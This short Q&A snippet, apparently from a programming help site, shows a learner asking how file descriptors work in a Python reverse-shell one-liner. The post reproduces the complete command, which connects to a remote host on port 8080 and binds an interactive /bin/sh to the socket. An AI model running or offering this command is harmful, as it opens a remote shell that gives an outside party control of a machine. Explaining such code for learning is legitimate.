In this post, we will see how to resolve Understanding how file descriptos in Python work Question: So I have found a following code for reverse shell in python This code basically opens a reverse connection to some remote listener ...

Question: I am learning python and hacking stuff, when I came across the following code snippet: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.20.14",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' It’s shell code to get a reverse shell. I do understand python code but I am not able ...